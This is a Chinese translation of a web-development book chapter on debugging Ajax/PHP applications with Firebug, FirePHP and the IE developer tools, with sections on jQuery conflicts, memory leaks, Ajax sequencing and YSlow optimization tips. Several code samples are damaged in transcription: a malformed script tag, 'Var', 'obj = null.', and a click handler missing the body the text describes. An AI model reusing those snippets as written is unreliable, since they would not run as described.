当 Firebug 和 FirePHP 安装在 Mozilla Firefox 上时,它会比正常情况下占用更多的内存;因此,如果您的计算机内存较低,它可能会使您的系统不稳定。在这种情况下,建议您在 Firefox 的不同配置文件中安装 Firebug 和 FirePHP,您可以专门在 Web 开发期间使用它。

使用 Firebug 和 FirePHP 进行调试

当 Ajax 技术在复杂的 Web 应用程序中被广泛使用时,如果开发人员没有正确的工具,调试这些应用程序将成为一个头痛的问题。这就是 Firebug 和 FirePHP 派上用场的地方。Firebug是 Mozilla Firefox 用于调试基于 Ajax 的应用程序的一款优雅、简单、强大的附加组件。它允许您清晰地查看 Ajax 请求、响应以及通过 POST 或 GET 方法发送到服务器的数据的概况。此外,您甚至可以编辑 HTML 和 CSS 代码,并在浏览器中实时预览更改。除此之外,Firebug 还显示了网页发出的整个 HTTP 请求。它还允许您对 JavaScript 代码进行性能分析。FirePHP是 Firebug 的扩展,通过在 Firebug 控制台上记录信息或消息来扩展 Firebug 的功能。

注意

请注意,在 Firebug 中编辑的 CSS 或 HTML 代码是临时的,不会影响真实的代码。当 Mozilla Firefox 刷新时,更改会消失。

使用 Firebug 进行调试

Firebug可能是 Mozilla Firefox 浏览器中最受欢迎的附加组件之一。它允许调试、监视和编辑 CSS、HTML 和 JavaScript,以及 DOM。它有很多功能,但其中,我们将更多地讨论如何使用 JavaScript 控制台记录值或错误。

如何做...

所以,让我们首先安装 Firebug 来开始使用 Firebug 调试 Ajax/PHP 应用程序。

Firebug 可以从getfirebug.com/下载。一旦您点击安装 Firebug按钮并按照网站上的步骤操作,您将看到以下弹出窗口开始安装。一旦您点击立即安装按钮,Firebug 就会安装在 Firefox 中。安装完成后,您可能需要重新启动 Mozilla Firefox 浏览器以完成 Firebug 的安装。

如何做...

一旦安装了 Firebug,您可以通过按下F12或点击 Firefox 窗口右下角的 Firebug 图标来启用它。以下截图显示了启用 Firebug 时的外观:

如何做...

正如您在前面的屏幕截图中所看到的,Firebug 中有六个不同的面板。让我们简要讨论每个面板:

  • Console: 这是 Firebug 中最有用的面板,用于调试富 Ajax 应用程序。您可以在此选项卡中记录不同的消息、信息或警告,来自 JavaScript 和 PHP(使用 FirePHP)。在这里,您有一个名为Profile的选项,它允许用户在指定的时间段内记录 JavaScript 活动。此外,您还可以在此面板上执行自己的代码。

  • HTML: 通常,添加或附加到网页的任何 HTML 元素都无法通过浏览器的查看源代码选项查看。但是,HTML窗格显示了可能已被执行的 JavaScript 代码添加的网页的实时 HTML 元素。该面板还可用于在浏览器中动态编辑 HTML/CSS 代码并实时查看输出。

  • CSS: 在此面板中,您可以查看网页使用的CSS脚本列表。此外,您还可以从此面板虚拟编辑 CSS 脚本,并直接在浏览器中查看更改属性的输出。

  • Script: 使用此面板,您可以找出当前网页正在使用的脚本。此面板还允许您通过设置断点并在调试时观察表达式或变量来调试 JavaScript 代码。在断点之后,您可以始终使用F8继续脚本执行,并且可以使用F10键逐步执行脚本。这是您在 Firebug 中找到的一个重要功能,通常存在于许多编程语言的IDE(集成开发环境)中。

  • DOM: 使用此面板,您可以探索网页的文档对象模型(DOM)。DOM 是一组对象和函数的层次结构,可以通过 JavaScript 调用或处理。此面板使您可以轻松地探索和修改 DOM 对象。

  • Net: 此面板被称为网页的网络活动监视面板。启用时,此面板会显示页面发出的每个 HTTP 请求以及加载对象(如 CSS 文件、图像或 JavaScript 文件)所花费的时间。除此之外,您还可以检查每个 HTTP 请求和响应的 HTTP 标头。除此之外,还可以在此面板和控制台面板中找到XMLHttpRequest的详细信息,以及其他信息,如 Ajax 请求、响应、HTTP 方法以及通过 GET 或 POST 方法提供的数据。

它是如何工作的...

Firebug API 提供了一个非常强大的对象console,可以直接将数据记录到Console面板。它可以记录任何类型的 JavaScript 数据和对象到控制台。您可以使用流行的console.log()函数轻松地将数据写入控制台,看起来像console.log('testing');。您可以向此函数传递尽可能多的参数,如下所示:

console.log(2,5,10,'testing');

当您使用console.log(document.location)在 Firebug 控制台中记录对象时,您可以在Console面板中看到对象列表,并链接到其属性和方法。您可以单击对象以查看属性和方法的详细信息。除了console.log()之外,还有其他函数可以在 Firebug 控制台中显示消息,具有不同的视觉效果。其中一些是console.debug(), console.info(), console.warn()console.error()

让我们看一个简单示例中信息记录的工作方式:

$(document).ready(function()
{
console.log('log message');
console.debug('debug message');
console.info('info message');
console.warn('warning message');
console.error('Error message');
console.log(document.location);
});

前面的代码片段是使用 JavaScript 的 jQuery 框架的简单示例。

注意

您可以在本书的第二章基本实用程序中找到有关 jQuery 的更多信息。有关 jQuery 的更多信息可以在www.jquery.com找到。

所有控制台的不同功能都会在FirebugConsole面板中执行并显示,如下面的屏幕截图所示:

它是如何工作的...

您可以看到上述代码的执行在控制台中产生了不同类型的消息,并且具有不同的颜色。您还可以注意到console.log(document.location);产生了该对象的不同属性的超链接。

注意

如果您在 JavaScript 代码的开发环境中使用console.log()或任何其他控制台函数,请确保 Firebug 已激活;否则,当代码中遇到这些函数时,JavaScript 代码的执行可能会被中断,导致意外的结果。在 Internet Explorer 7 或更早版本中也可能发生同样的情况。请确保在将网站移至生产环境时删除所有控制台函数。

更多内容...

现在,让我们看看 Firebug 如何帮助您调试XMLHttpRequest,使用另一个例子,其中来自 PHP 脚本的 Ajax 响应是不可预测的。

以下 JavaScript 代码发出了 Ajax 请求:

$(document).ready(function()
{
$.ajax({
type: "POST",
url: "test.php",
data: "start=1&end=200",
success: function(msg) {
console.log('number is '+msg); msg = parseInt(msg);
if(msg%2==0)
console.info('This is even number');
else
console.info('This is odd number');
}
});
});

上述代码是 jQuery JavaScript 代码。我们正在向test.php发出 Ajax 请求(POST 方法),并使用值为1200startend作为 POST 数据。现在,让我们看看 PHP 中的服务器端脚本:

<?php
echo rand($_POST['start'],$_POST['end']);
?>

服务器端代码只是在startend参数之间选择一个随机数,这些参数在 PHP 中作为 POST 数据可用。

现在,让我们回头看看上述 JavaScript 代码中 Ajax 的success函数。它首先将来自服务器端脚本的数字记录到 Firebug 控制台。然后,使用parseInt()函数将这个数字严格转换为整数类型。来自 Ajax 的数字基本上是String数据类型,不能进行数学运算;因此,首先将其转换为整数。

之后,使用模数运算符检查这个数字,以查看它是奇数还是偶数,并相应地在Firebug控制台中显示信息。让我们看看 Firebug 控制台中的结果:

更多内容...

如您在屏幕截图中所见,日志和消息会相应地显示。这些都是琐碎的,但您可以在控制台的第一行中看到一些新的东西,并且您可以轻松猜到这是 Ajax 请求,左侧有一个+符号。

让我们尝试通过点击+符号来探索 Ajax 请求和响应的细节。结果如下:

更多内容...

如您在上述屏幕截图中所见,第一个选项卡是Headers;它显示了请求和响应的 HTTP 头部。

Post部分显示了通过 POST 方法向服务器发送的数据。

Response选项卡显示了 Ajax 请求的响应。

此外,最后一个选项卡显示了 HTML 格式的数据,如果响应是 HTML 格式的话。这个最后一个选项卡可以是 XML、JSON 或 HTML,具体取决于来自服务器端脚本的数据响应。

使用 FirePHP 进行调试

Firebug 允许您从 JavaScript 将调试消息记录到控制台。然而,在一个 Ajax 应用程序的非常复杂的服务器端脚本中,如果我们使用console.log()函数将所有消息记录为单个字符串,调试应用程序可能会变得非常困难。当我们需要调试涉及非常复杂 PHP 脚本的富 Ajax 应用程序时,FirePHP 就派上用场了。FirePHP 是 Firebug 的扩展,Firebug 本身是 Mozilla Firefox 浏览器的热门附加组件。FirePHP 允许您使用 FirePHP 库将调试消息和信息记录到 Firebug 控制台。

注意

如果您从 PHP 代码中传递 JSON 或 XML 数据作为 Ajax 响应,并使用 JavaScript 和 FirePHP 解析它,然后将一些消息记录到控制台,您可能会担心会破坏应用程序。不会;FirePHP 通过特殊的 HTTP 响应头将调试消息发送到浏览器,因此通过 FirePHP 记录的消息不会破坏应用程序。

准备就绪

要安装 FirePHP,您需要在 Mozilla Firefox 浏览器中安装 FireBug。您可以从其官方网站www.firephp.org/安装 FirePHP。您需要点击获取 FirePHP按钮并按照安装 FirePHP 的步骤进行安装。安装了 FirePHP 后,您需要下载 PHP 库以与 FirePHP 一起使用。您可以从www.firephp.org/HQ/Install.htm下载 PHP 库。

现在,FirePHP 已安装并启用,您还已经下载了 FirePHP 的 PHP 库。让我们看看如何使用它:

准备就绪

它是如何工作的...

要开始使用 FirePHP,首先需要在您的 PHP 代码中包含核心 FirePHP 类,如下所示:

require_once('FirePHPCore/FirePHP.class.php');

在包含库后,您需要开始输出缓冲,因为已登录的消息将作为 HTTP 响应头发送:

ob_start();

提示

如果在php.ini指令中打开了输出缓冲,您不需要显式调用ob_start()函数。有关输出缓冲配置的更多信息,请访问us.php.net/manual/en/outcontrol.configuration.php#ini.output-buffering

现在,在此之后,让我们创建 FirePHP 对象的实例:

$fp = FirePHP::getInstance(true);

之后,让我们使用 FirePHP 将一些消息记录到 FireBug 控制台中:

$var = array('id'=>10, 'name'=>'Megan Fox','country'=>'US');
$fp->log($var, 'customer');

它是如何工作的...

正如您在前面的屏幕截图中所看到的,数组以详细格式显示在 Firebug 控制台中。现在,让我们尝试以更加花哨的方式记录更多的变量。

注意

当鼠标光标移动到控制台中的已登录变量上时,FirePHP 的变量查看器(参见前面的屏幕截图)会显示出来。

此外,让我们尝试使用不同的函数将不同类型的调试消息记录到 FireBug 控制台中,如下所示:

$fp->info($var,'Info Message');
$fp->warn($var,'Warn Message');
$fp->error($var,'Error Message');

上述函数与 Firebug 的控制台函数非常相似。这些函数的输出在 Firebug 控制台中如下所示:

它是如何工作的...

正如您在前面的屏幕截图中所看到的,FirePHP 库的info()、warn()error()函数可以以不同的样式记录消息,用于调试 PHP 代码。

注意

请确保在生产模式下使用网站时禁用 FirePHP 日志记录,否则任何安装了 FirePHP 和 Firebug 的人都可以轻松查看网站中的敏感信息。您可以通过在创建 FirePHP 对象实例后立即调用$fp->setEnabled(false)函数来禁用 FirePHP 日志记录。

还有更多...

FirePHP 还有Procedural API。要使用 FirePHP 的 Procedural API,您需要在代码中包含fb.php(FirePHP PHP 库提供),如下所示:

require_once('FirePHPCore/fb.php');

然后,您可以通过使用fb()函数简单地将消息记录到 Firebug 控制台。例如,您可以使用以下代码将消息记录到控制台中:

fb('logged message');
fb($var, 'customer');

提示

当您在代码中包含了fb.php后,您可以直接使用fb类调用info()、warn()、error()log()函数。例如,您可以使用FB::info($var,'Info Message')来将info消息显示到控制台中。

使用 IE 开发者工具栏进行调试

与 Firebug 类似,Internet Explorer 也包含一个开发者工具栏,用于调试和编辑网页的 HTML、CSS 和 JavaScript 代码。IE 开发者工具栏内置于 Internet Explorer 8 中。在以前的版本中,它可以作为 Internet Explorer 的附加组件使用。如果您使用的是 Internet Explorer 7 或更低版本,则可以从 Microsoft 网站下载 IE 开发者工具栏,网址为www.microsoft.com/downloads/en/details.aspx?familyid=95E06CBE-4940-4218-B75D-B8856FCED535&displaylang=en。但是,在本主题中,我们将讨论 Internet Explorer 8 中可用的 IE 开发者工具栏。

提示

除了 Firefox 之外,您始终可以在任何浏览器中使用 Firebug Lite。以下是有关如何在任何浏览器中使用 Firebug Lite 的说明:getfirebug.com/firebuglite

准备就绪

Internet Explorer 开发者工具主要由四个不同的面板组成,用于调试和编辑 HTML、CSS 和 JavaScript。

准备就绪

它们如下:

  • HTML面板:此面板用于查看网站的 HTML 代码。使用此面板,您可以查看单个 HTML 元素的大纲,更改它们的属性和 CSS 属性,并在浏览器中实时预览输出。

  • CSS面板:这与 Firebug 的 CSS 面板非常相似。在这里,您可以查看和编辑与网页关联的不同样式表下的 CSS 属性。您还可以实时预览 CSS 属性的更改。

  • Script面板:此面板允许您调试网页的 JavaScript 代码。此外,您可以在 JavaScript 代码上设置断点,并逐步执行代码并观察变量。

  • Profiler面板:IE 开发者工具栏的Profiler面板允许您分析网页中使用的 JavaScript 函数的性能。它记录执行这些函数所需的时间以及它们被调用的次数;因此,如果其中一些函数编写得很差,调试这些函数就变得容易。

如何做...

开发者工具栏的Script面板允许通过设置断点、逐步执行代码和观察变量来调试脚本。此外,与 Firebug 一样,您还可以使用控制台函数向控制台记录消息。

例如,以下 JavaScript 控制台函数将分别向 IE 开发者工具的控制台发送日志、信息、警告和错误消息:

console.log('log message');
console.info('info message');
console.warn('warning message');
console.error('Error message');

代码的输出在 IE 开发者工具的控制台中看起来像下面的截图:

如何做...

您可以看到消息以与 Firebug 中相似的方式显示在控制台中。但是,遗憾的是,直到今天为止,Internet Explorer 还没有像 FirePHP 这样的附加组件。

避免框架$冲突

$在许多 JavaScript 框架中都是一个常用的函数名或变量名。当两个不同的 JavaScript 库一起使用时,使用$符号可能会发生冲突的可能性很高,因为它们可能会用于不同的目的。假设在一个页面中使用了两个框架,它们是 jQuery 和prototype.js:

<script type="text/javascript" src="prototype.js"></script>
<script type="text/javascript" src="jquery.js"></script>

当两个框架一起使用并且两个框架都使用$符号时,结果可能是不可预测的,并且可能会中断,因为 jQuery 将$视为 jQuery 对象,而在prototype.js中,它是一个 DOM 访问函数。代码$('mydiv').hide();在包含前面 JavaScript 框架用法的网页中可能无法正常工作。这是因为 jQuery 包含在最后一行,但代码$('mydiv').hide();是来自prototype.js框架的代码,这会导致意外的结果。

准备就绪

如果你正在使用 jQuery 与其他框架,没有问题。jQuery 有一个神奇的noConflict()函数,允许你在其他框架中使用 jQuery。

如何做...

现在,让我们尝试使用 jQuery 的noConflict()函数来使用上述代码:

<script type="text/javascript" src="prototype.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" ></script
var $jq = jQuery.noConflict();
$jq(document).ready(function(){
$jq("p.red").hide();
});
$('mydiv').hide();
</script>

它是如何工作的...

如你在上述代码中所见,我们创建了另一个别名$jq来代替$来引用 jQuery 对象。现在在剩下的代码中,可以使用$jq来引用 jQuery 对象。$可以被prototype.js库使用,用于其余的代码。

使用 JavaScript 的匿名函数

JavaScript 的匿名函数非常有用,可以避免 JavaScript 库中的冲突。

如何做...

让我们首先通过一个例子了解匿名函数:

(function(msg)
{ alert(msg); })
('Hello world');

当我们在浏览器中执行上述代码时,它将显示警报Hello world。现在,这很有趣!一个函数被定义并执行!让我们简化相同的代码片段,看看它是如何工作的:

Var t = function(msg){
alert(msg);
};
t('Hello world');

如果你看到等效的代码,那很简单。唯一的区别是这个简化的代码将变量名t与函数关联起来,而在另一个代码中,函数名是匿名的。匿名函数在声明后立即执行。

匿名函数在创建 JavaScript 框架的插件时非常有用,因为你不必担心与其他插件的函数同名而产生冲突。记住,给两个函数起相似的名字会导致 JavaScript 错误,并可能破坏应用程序。

现在,让我们看看如何使用 jQuery 的匿名函数来避免$的冲突:

(function($) {
$(function() {
$('#mydiv').hide();
});
})(jQuery);

它是如何工作的...

在上述函数中,jQuery 对象作为$参数传递给函数。现在,匿名函数内部有一个局部作用域,因此可以在匿名函数内部自由使用$,以避免冲突。这种技术经常用于创建 jQuery 插件,并在插件代码中使用$符号。

还有更多...

现在,让我们在 Mootools 框架中类似地使用匿名函数来避免$的冲突。在 Mootools 框架中,$符号指的是document.id对象。

(function($){
$('mydiv').setStyle('width', '300px');
})(document.id);

在上述函数中,$可以在本地使用,它指的是 Mootools 框架的document.id对象。

修复 JavaScript 中的内存泄漏

如果 JavaScript 代码没有考虑内存使用,可能会导致内存泄漏成为 JavaScript 中繁琐的问题。这样的代码可能会通过过载内存使你的浏览器变得不稳定。

什么是内存泄漏?

内存泄漏是指 JavaScript 分配的内存占用了物理内存,但无法释放内存。JavaScript 是一种进行垃圾回收的语言。当创建对象时,内存被分配给对象,一旦对象没有更多的引用,内存就会被释放。

可能导致内存泄漏的原因是什么?

内存泄漏可能有很多原因,但让我们探讨两个主要可能性:

  • 你创建了大量未使用的元素或 JavaScript 对象而没有清理它们。

  • 你的 JavaScript 代码中使用了循环引用。循环引用是指 DOM 对象和 JavaScript 对象相互循环引用。

修复内存泄漏

首先,让我们了解如何找出脚本生成了不需要的元素;我们可以使用 Firebug 控制台来做到这一点。你可以将以下代码放入 Firebug 的控制台中,如下面的屏幕截图所示:

console.log( document.getElementsByTagName('*').length )

修复内存泄漏

提示

上述代码将记录 DOM 中元素的所有计数。因此,如果你看到页面后续使用中计数呈指数增长,那么你的代码存在问题,你应该尝试删除或移除不再使用的元素。

如何做...

找到了不需要的脚本创建的元素后,我们如何调试?

假设有一个 JavaScript 函数一遍又一遍地被调用,创建了一个巨大的堆栈。让我们尝试使用console.trace()函数来调试这样的代码:

<html >
<head>
<script type="text/javascript">
var i=0
function LeakMemory(){
i++;
console.trace();
if(i==50)
return;
LeakMemory();
}
</script>
</head>
<body>
<input type="button"
value="Memory Leaking Test" onclick="LeakMemory()" />
</body>
</html>

当你点击按钮时,它会调用函数LeakMemory()。该函数调用自身 50 次。我们还使用console.trace()函数来跟踪函数调用。你可以在 Firebug 控制台中看到以下输出:

如何做...

它是如何工作的...

你可以清楚地看到console.trace()函数跟踪每个函数调用。它让你调试和跟踪 JavaScript 应用程序,该应用程序正在创建一个不需要的函数调用堆栈。

接下来,让我们用一个例子来讨论 JavaScript 中的循环引用内存泄漏模式:

<html>
<body>
<script type="text/javascript">
document. Write("Circular references between JavaScript and DOM!");
var obj;
window.onload = function(){
obj=document.getElementById("DivElement");
document.getElementById("DivElement").expandoProperty=obj;
obj.bigString=new Array(1000).join(new Array(2000).join("XXXXX"));
};
</script>
<div id="DivElement">Div Element</div>
</body>
</html>

注意

上述例子摘自 IBM 网站上关于内存泄漏的一篇很棒的文章:www.ibm.com/developerworks/web/library/wa-memleak/

如你在上面的例子中所见,JavaScript 对象obj引用了一个 ID 为DivElement的 DOM 对象。DivElement引用了 JavaScript 对象obj,从而在两个元素之间创建了循环引用,并且由于这种循环引用,两个元素都没有被销毁。

当你运行上述代码时,让我们看看在 Windows 任务管理器中内存消耗如何上升:

它是如何工作的...

正如你所看到的,当我同时运行包含上述代码的网页 4-5 次时,内存使用曲线在中间上升。

还有更多...

修复循环引用内存泄漏非常容易。只需在执行代码后将对象分配给null元素。让我们看看如何在上面的例子中修复它:

var obj;
window.onload = function(){
obj=document.getElementById("DivElement");
document.getElementById("DivElement").expandoProperty=obj;
obj.bigString=new Array(1000).join(new Array(2000).join("XXXXX"));
};
obj = null.

现在,在一个网页中执行上述代码时,同时查看任务管理器。你不会看到内存使用量有显著的波动。

对 Ajax 请求进行排序

顾名思义,Ajax 是异步的,因此代码的顺序可能不会被遵循,因为大部分逻辑活动是在 HTTP 请求完成时完成的。

如何做...

让我们尝试用一个例子来理解 Ajax 请求:

$(document).ready(function()
{
$.ajax({
type: "POST",
url: "test.php",
data:'json',
data: "bar=foo",
success: function(msg){
console.log('first log');
}
});
console.log('second log')
});

执行后,上述代码在 Firebug 控制台中显示如下:

如何做...

它是如何工作的...

尽管$.ajax函数首先被调用,但由于代码的异步性质,第二个日志会先被打印出来(因为这行代码直接跟在$.ajax函数后面)。然后,当 HTTP 请求完成时,success: function被执行,之后第一个日志被打印到控制台。

对 Ajax 请求进行排序是实时应用中广泛使用的一种技术。在下面的例子中,让我们使用一个简单的使用 jQuery 的函数来对 Ajax 请求进行排序,以在浏览器中显示服务器时间。首先,让我们看一下将发送 Ajax 请求序列的 JavaScript 函数:

function get_time()
{
//make another request
$.ajax({
cache: false,
type: "GET",
url: "ajax.php",
error: function () {
setTimeout(get_time, 5000);
},
success: function (response)
{
$('#timer_div').html(response);
//make another request instantly
get_time();
}
});
}

该函数很简单。在每次成功的 Ajax 请求后,它再次调用相同的函数。请注意,我们一次只向服务器发送一个请求。完成后,会发送另一个请求。

如果出现错误,或者说 Ajax 请求没有完成,我们将在等待 5 秒后重试发送另一个 Ajax 请求。通过这种方式,如果服务器面临无法完成请求的问题,我们可以最小化向服务器发送请求的次数。

现在,让我们看一下ajax.php中的 PHP 代码:

<?php
sleep(1);
echo date('Y-m-d H:i:s');
?>

如你在上面的 PHP 代码中所见,服务器在打印当前时间之前等待一秒。这通常是实时 Web 应用中服务器端脚本的工作方式。例如,实时聊天应用程序会等待直到新的聊天消息进入数据库。一旦新消息在数据库中,应用程序会将最新的聊天消息发送到浏览器以显示它。

跨浏览器和 Ajax

  • 我们都知道 Ajax 技术的核心是 JavaScript 中可用的XMLHttpRequest对象。但是这个对象在你的浏览器中不一定可用,特别是在 Internet Explorer 中,这取决于浏览器和平台。

  • 它可以在 Mozilla Firefox、Google Chrome、Safari 甚至支持原生XMLHttpRequest对象的 IE7 或更高版本中本地实例化如下:

var xmlHttpObj = new XMLHttpRequest();

  • 现在,在 Internet Explorer 6 或 5 中,要使用XMLHttpRequest对象,它必须在 JavaScript 中作为 ActiveX 对象创建:
var xmlHttpObj = new ActiveXObject("MSXML2.XMLHTTP.3.0");

  • 但是即使是 ActiveX 对象类在不同的 Windows 平台上也可能不同,所以我们可能还需要使用以下代码:
var xmlHttpObj = new ActiveXObject("Microsoft.XMLHTTP");

  • 现在,让我们创建一个 Ajax 函数,它将在跨浏览器平台中返回XMLHttpRequest对象:
function getAjaxObj()
{
var xmlHttpObj = null;
// use the ActiveX control for IE5 and IE6
try
{
xmlHttpObj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
catch (e)
{
try
{
xmlHttpObj = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
// for IE7, Mozilla, Safari
xmlHttpObj = new XMLHttpRequest();
}
}
return xmlHttpObj;
}

  • 由于除了 Internet Explorer 之外的浏览器都不支持 ActiveX 对象,因此使用trycatch块语句创建XMLHTTPRequest对象的实例,以便没有 JavaScript 错误,代码可以在跨浏览器中使用。

注意

如果你的网页已经使用了像 jQuery 或 Mootools 这样的 JavaScript 框架,你可以使用它们的核心 Ajax 函数。这些库通常发布了支持多个浏览器和平台的函数,并且随着时间的推移进行更新,因此强烈建议使用这样的 JavaScript 库。

美化 JavaScript

我们已经在上一章中看到了如何使用 JSMin 来压缩 JavaScript 代码。现在,让我们尝试反向工程压缩的 JavaScript 代码并美化它。我们可以使用工具JsBeautifier来解压缩和美化 JavaScript 代码。它可以直接从 URL jsbeautifier.org/使用,或者你可以使用 URL github.com/einars/js-beautify/zipball/master从 Github 下载代码。让我们首先看一下在使用 JSMin 压缩时get_time()函数中的代码是什么样的:

function get_time(){$.ajax({cache:false,type:"GET",url:"ajax.php",error:function(){setTimeout(get_time,5000);},success:function(response){$('#timer_div').html(response);get_time();}});}

当 JavaScript 代码被压缩时,文件占用的空间更小,在网页中加载速度更快,但是当我们需要向该文件添加新功能时,编辑代码变得非常困难。在这种情况下,我们需要美化 JavaScript 代码并进行编辑。现在,让我们使用jsbeautifier.org/:来获取美化后的 JavaScript 代码。

function get_time() {
$.ajax({
cache: false,
type: "GET",
url: "ajax.php",
error: function () {
setTimeout(get_time, 5000);
},
success: function (response) {
$('#timer_div').html(response);
get_time();
}
});
}

注意

在生产服务器中,建议我们使用压缩的 JavaScript 代码,因为它占用的空间更小,加载速度比美化的代码格式更快。但是在开发服务器中,建议始终使用美化的代码,以便以后可以更改或编辑。

第六章:优化

在本章中,我们将涵盖以下主题:

  • 对象的缓存

  • 使用 YSlow 获取优化提示

  • 通过自动压缩和浏览器缓存加快 JavaScript 交付

  • 提前触发 JavaScript/在 DOM 加载时

  • 图像的延迟加载

  • 通过 Apache 模块/Google mod_pagespeed 自动优化 Ajax 应用程序

作为 JavaScript 开发人员,我们经常面临性能问题——页面加载缓慢、页面响应不佳、浏览器窗口冻结等。大多数情况下,这些问题都是由于脚本中的瓶颈或我们采取的方法/算法引起的。在本章中,让我们讨论解决这些问题的可能方法。

对象缓存

由于 JavaScript 代码必须在客户端机器上运行,所以代码级的优化非常重要。其中最重要的是缓存或缓冲计算和对象。这种基本的优化经常被忽视。

准备工作

我们需要识别重复的函数调用以缓存结果;这将加快代码的性能。

如何做…

var a = Math.sqrt(10);
var b = Math.sqrt(10);

在这种情况下,我们反复计算相同的sqrt(10)并将其存储在不同的变量中。这是多余的;正如你所知,它可以写成如下形式:

var sqrt_10 = Math.sqrt(10);
var a = sqrt_10, b = sqrt_10;

同样,在基于选择器的框架中,建议缓存或缓冲选择器对象。例如,考虑以下 HTML 标记:

<a href="#" id="trigger">Trigger</a>
<div id="container">
Container
</div>

以下是隐藏容器的 jQuery 代码;当点击触发链接时,它显示容器如下:

$('#trigger').click(function(){
});

它是如何工作的…

如你在前面的代码片段中所看到的,我们两次使用了$('#container');这意味着我们为相同的目的运行了两次$()。如果你看一下 jQuery 代码,$()调用有其他函数,最终是多余的。因此,建议将$('#container')缓存到另一个变量中,并按如下方式使用:

var $container = $('#container'); // cache the object
$container.hide();
$('#trigger').click(function(){
$container.show();
});

在某些情况下,对象的缓存(如前面的代码片段所示)可以将页面的响应速度提高一倍。当将缓存应用于缓慢/复杂的选择器(如$('div p a'))时,速度的提高很容易感受到。

使用 YSlow 获取优化提示

当我们遇到性能问题时,我们需要知道该怎么做。来自 Yahoo!的YSlow是一个速度诊断工具,它可以根据各种因素快速列出建议。

准备工作

我们需要使用安装了 Firebug 插件的 Firefox 浏览器。YSlow 是 Firebug 的一个附加组件,也需要安装才能获取优化提示。安装后,它会在 Firebug 内添加另一个选项卡,如下图所示:

准备工作

如何做…

在任何页面上执行时,YSlow 都会给出一个特定于页面的优化建议报告。它还捆绑了一些优化工具,可以帮助我们快速解决性能问题。由于它是基于浏览器的工具,它无法对服务器端代码提出建议——它只能建议服务器设置,如gzipexpire头。

在安装 YSlow 时,最好将其自动运行模式关闭。否则,它将为每个页面执行,这将减慢其他页面的浏览体验。

在[developer.yahoo.com/yslow/:](http:// http://developer.yahoo.com/yslow/:)上执行时的报告示例截图如下:

如何做…

报告基于以下 22 条规则:

  1. 最小化 HTTP 请求:

当页面有大量样式表和 JavaScript 引用时,加载时间会受到影响。每个文件都需要单独下载。解决方法是将所有 JavaScript 代码合并到一个文件中,将所有样式表合并到一个文件中。至于众多的 CSS 背景图片,我们可以使用一种称为 CSS Sprites 的技术。这样,我们可以最小化 HTTP 请求。YSlow 帮助我们识别了许多这样的 HTTP 请求,并给出了建议。

注意

CSS Sprites—是一种技术,通过它我们可以从多个 CSS 背景图形成一个称为sprite的单个 CSS 背景图像,通过调整 CSS 样式属性来使用相同的sprite图像。我们通过background-position属性在sprite中引用每个图像。

  1. 使用内容交付网络:

内容交付网络(CDN)是一个第三方托管解决方案,用于提供静态内容和图像,其交付速度将比普通服务器设置更高,因为它是在云设置上运行的。YSlow 识别 CDN 的使用,如果我们没有使用任何 CDN,它建议我们为更好的性能使用 CDN。

  1. 添加ExpiresCache-Control头:

如果在浏览器中缓存静态内容,将会提高加载速度,因为这些内容不需要再次下载。我们必须确保不对动态内容应用浏览器缓存。当我们有单个 JavaScript 和单个 CSS 文件时,为了避免 HTTP 请求,我们至少可以在浏览器级别对它们进行缓存。为此,我们可以使用ExpiresCache-Control HTTP 头。YSlow 识别 HTTP 头并建议我们在没有使用时使用浏览器缓存头。

  1. Gzip组件:

强烈建议通过 PHP 或 Apache 进行页面内容的gzip—Apache 的mod_deflate更可取,因为它易于配置,并且可以在交付过程中实时压缩。YSlow 可以识别gzip的使用,并建议我们在没有使用时使用gzip

  1. 将样式表放在顶部:

根据浏览器行为,如果样式表在顶部引用,用户将有更好的加载体验。如果它们在底部引用,用户将根据其下载速度看到样式的应用速度较慢。YSlow 根据样式表引用对页面进行评分。

  1. 将脚本放在底部:

当脚本放在顶部时,它们会阻塞页面的加载。这在我们要链接外部脚本时非常重要,比如谷歌分析、Facebook 库等等。这些脚本可以在</body>标签结束之前被引用。另一个解决方案是在链接外部脚本时使用async属性。YSlow 根据我们链接脚本的位置对页面进行评分,并帮助我们提高速度。

  1. 避免 CSS 表达式:

CSS 表达式是 Internet Explorer 在 8 版本之前将 JavaScript 与 CSS 混合的提供。根据研究,表达式经常被触发,并导致页面响应速度变慢。YSlow 检测到使用并对页面进行评分。

  1. 使 JavaScript 和 CSS 外部化:

最好将 JavaScript 和 CSS 文件保持外部化,而不是内联和内部化。这样,外部文件可以在浏览器级别进行缓存,以便页面加载更快。将脚本分离到外部文件是不显眼的 JavaScript和基于选择器的 JavaScript 框架(如 jQuery、YUI 等)的主要关注点。

  1. 减少 DNS 查找:

如果网站从不同的域引用图像、样式表和 JavaScript,DNS 查找次数会增加。尽管 DNS 查找被缓存,但当引用了许多域时,网站的加载时间会增加。YSlow 识别 URL 中不同主机名的引用。

  1. 压缩 JavaScript 和 CSS:

如下一条建议所述,由于文件大小减小,经过压缩的 JavaScript 和 CSS 文件可以更快地下载。YSlow 还有一个选项/工具来压缩 JavaScript 和 CSS 文件。

  1. 避免重定向:

不必要的页面重定向会影响加载速度。

  1. 删除重复的脚本

不必要的重复脚本是多余的。

  1. 配置 ETags:

ETag类似于其他浏览器缓存选项。虽然它可以避免不必要的往返,但在服务器之间不一致。因此,最好彻底禁用它,以减少 HTTP 请求头大小。

  1. 使 Ajax 可缓存:

甚至 Ajax 请求也可以在浏览器端进行缓存。这样做可以增加应用的响应速度。

  1. 对 Ajax 请求使用GET

雅虎团队指出,对于 Ajax 请求,POST操作是一个两步过程,GET请求只需要一个 TCP 数据包。根据 HTTP 规范,GET操作用于检索内容,而 POST 用于发布或更新。

  1. 减少 DOM 元素的数量:

如果我们在页面呈现时尝试应用 JavaScript 效果或事件,而页面包含大量 HTML 标记,那么由于 JavaScript 代码必须遍历每个 DOM 元素,页面速度会变慢。YSlow 建议我们将 DOM 元素数量保持在最小限度。

  1. 没有 404:

损坏的链接会导致不必要的请求。它们通常是由于引用链接中的拼写错误或错误引起的。YSlow 会识别损坏的链接并对页面进行评分。

  1. 减少 cookie 大小:

Cookie 总是在 HTTP 请求中发送。因此,如果有很多信息存储在 cookie 中,它将影响 HTTP 请求-响应时间。

  1. 为组件使用无 cookie 的域:

没有必要引用 cookie 来传递静态内容。因此,更明智的做法是通过某个子域引用所有静态内容,并避免为该域设置 cookie。

  1. 避免使用过滤器:

